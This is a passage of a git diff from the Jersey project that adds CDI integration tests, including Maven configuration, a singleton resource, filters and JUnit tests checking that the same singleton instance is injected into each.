+ Assume.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy());
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ if (Hk2InjectionManagerFactory.isImmediateStrategy()) {
+ weld = new Weld();
+ weld.initialize();
+ super.setUp();
+ }
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ if (Hk2InjectionManagerFactory.isImmediateStrategy()) {
+ weld.shutdown();
+ super.tearDown();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ return new App();
+ }
+
+ @Override
+ protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
+ return new GrizzlyWebTestContainerFactory();
+ }
+
+ @Override
+ protected DeploymentContext configureDeployment() {
+ return ServletDeploymentContext.builder(configure())
+ .initParam(ServletProperties.JAXRS_APPLICATION_CLASS, App.class.getName())
+ .build();
+ }
+
+ @Test
+ public void testContextInConstructorAndInjectInClass() throws InterruptedException {
+ try (Response r = target().path("get").request().get()) {
+ Assert.assertEquals("OK", r.readEntity(String.class));
+ }
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml
new file mode 100644
index 0000000..83b16d7
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <parent>
+ <artifactId>cdi-integration-project</artifactId>
+ <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
+ <version>2.35-SNAPSHOT</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+
+ <artifactId>cdi-sigleton</artifactId>
+
+ <dependencies>
+ <dependency>
+ <groupId>jakarta.ws.rs</groupId>
+ <artifactId>jakarta.ws.rs-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.annotation</groupId>
+ <artifactId>jakarta.annotation-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.enterprise</groupId>
+ <artifactId>jakarta.enterprise.cdi-api</artifactId>
+ <version>2.0.2</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.ext.cdi</groupId>
+ <artifactId>jersey-cdi1x</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.jboss.weld.se</groupId>
+ <artifactId>weld-se-core</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework</groupId>
+ <artifactId>jersey-test-framework-util</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-bundle</artifactId>
+ <type>pom</type>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.ext.cdi</groupId>
+ <artifactId>jersey-weld2-se</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>javax.enterprise</groupId>
+ <artifactId>cdi-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.jboss.weld.se</groupId>
+ <artifactId>weld-se-core</artifactId>
+ </exclusion>
+ </exclusions>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+</project>
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonResource.java b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonResource.java
new file mode 100644
index 0000000..2f95a80
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonResource.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.singleton;
+
+import javax.inject.Singleton;
+import javax.ws.rs.GET;
+import javax.ws.rs.Path;
+
+@Path("/")
+@Singleton
+public class SingletonResource {
+ @GET
+ public String get() {
+ SingletonTestApp.SINGLETON_RESOURCES[1] = this;
+ return SingletonResource.class.getSimpleName();
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestApp.java b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestApp.java
new file mode 100644
index 0000000..59aa774
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestApp.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.singleton;
+
+import javax.ws.rs.core.Application;
+import java.util.HashSet;
+import java.util.Set;
+
+public class SingletonTestApp extends Application {
+
+ static final SingletonResource[] SINGLETON_RESOURCES = new SingletonResource[3];
+
+ @Override
+ public Set<Class<?>> getClasses() {
+ final Set<Class<?>> classes = new HashSet<>();
+ classes.add(SingletonResource.class);
+ classes.add(SingletonTestContainerRequestFilter.class);
+ classes.add(SingletonTestContainerResponseFilter.class);
+ return classes;
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerRequestFilter.java b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerRequestFilter.java
new file mode 100644
index 0000000..34a1f2c
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerRequestFilter.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.singleton;
+
+import javax.ws.rs.container.ContainerRequestContext;
+import javax.ws.rs.container.ContainerRequestFilter;
+import javax.ws.rs.core.Context;
+import java.io.IOException;
+
+public class SingletonTestContainerRequestFilter implements ContainerRequestFilter {
+ @Context
+ SingletonResource resource;
+
+ public void filter(ContainerRequestContext requestContext) throws IOException {
+ SingletonTestApp.SINGLETON_RESOURCES[0] = resource;
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerResponseFilter.java b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerResponseFilter.java
new file mode 100644
index 0000000..6e853d3
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/main/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTestContainerResponseFilter.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.singleton;
+
+import javax.ws.rs.container.ContainerRequestContext;
+import javax.ws.rs.container.ContainerResponseContext;
+import javax.ws.rs.container.ContainerResponseFilter;
+import javax.ws.rs.core.Context;
+import java.io.IOException;
+
+public class SingletonTestContainerResponseFilter implements ContainerResponseFilter {
+ @Context
+ SingletonResource resource;
+ @Override
+ public void filter(ContainerRequestContext requestContext, ContainerResponseContext responseContext) throws IOException {
+ SingletonTestApp.SINGLETON_RESOURCES[2] = resource;
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/main/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-singleton/src/main/resources/META-INF/beans.xml
new file mode 100644
index 0000000..8a282c5
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/main/resources/META-INF/beans.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+
+<beans xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_1_1.xsd"
+ bean-discovery-mode="annotated">
+</beans>
\ No newline at end of file
diff --git a/tests/integration/cdi-integration/cdi-singleton/src/test/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTest.java b/tests/integration/cdi-integration/cdi-singleton/src/test/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTest.java
new file mode 100644
index 0000000..eb5e9c6
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-singleton/src/test/java/org/glassfish/jersey/tests/cdi/singleton/SingletonTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.singleton;
+
+import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
+import org.jboss.weld.environment.se.Weld;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+
+import javax.ws.rs.core.Application;
+import javax.ws.rs.core.Response;
+
+public class SingletonTest extends JerseyTest {
+ private Weld weld;
+
+ @Before
+ public void setup() {
+ Assume.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy());
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ if (Hk2InjectionManagerFactory.isImmediateStrategy()) {
+ if (!ExternalTestContainerFactory.class.isAssignableFrom(getTestContainerFactory().getClass())) {
+ weld = new Weld();
+ weld.initialize();
+ }
+ super.setUp();
+ }
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ weld.shutdown();
+ super.tearDown();
+ }
+
+ @Override
+ protected Application configure() {
+ return new SingletonTestApp();
+ }
+
+ @Test
+ public void testSingleton() {
+ try (Response response = target().request().get()) {
+ String entity = response.readEntity(String.class);
+ Assert.assertEquals(SingletonResource.class.getSimpleName(), entity);
+
+ final SingletonResource actualResource = SingletonTestApp.SINGLETON_RESOURCES[1];
+ Assert.assertEquals(actualResource, SingletonTestApp.SINGLETON_RESOURCES[0]);
+ Assert.assertEquals(actualResource, SingletonTestApp.SINGLETON_RESOURCES[2]);
+ }
+ }
+}
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml
index 51a6ff4..a16adb6 100644
--- a/tests/integration/cdi-integration/pom.xml
+++ b/tests/integration/cdi-integration/pom.xml
@@ -41,6 +41,7 @@
<module>cdi-log-check</module>
<module>cdi-multimodule</module>
<module>cdi-multipart-webapp</module>
+ <module>cdi-resource-with-at-context</module>
<module>cdi-test-webapp</module>
<module>cdi-with-jersey-injection-custom-cfg-webapp</module>
<module>cdi-with-jersey-injection-custom-hk2-banned-webapp</module>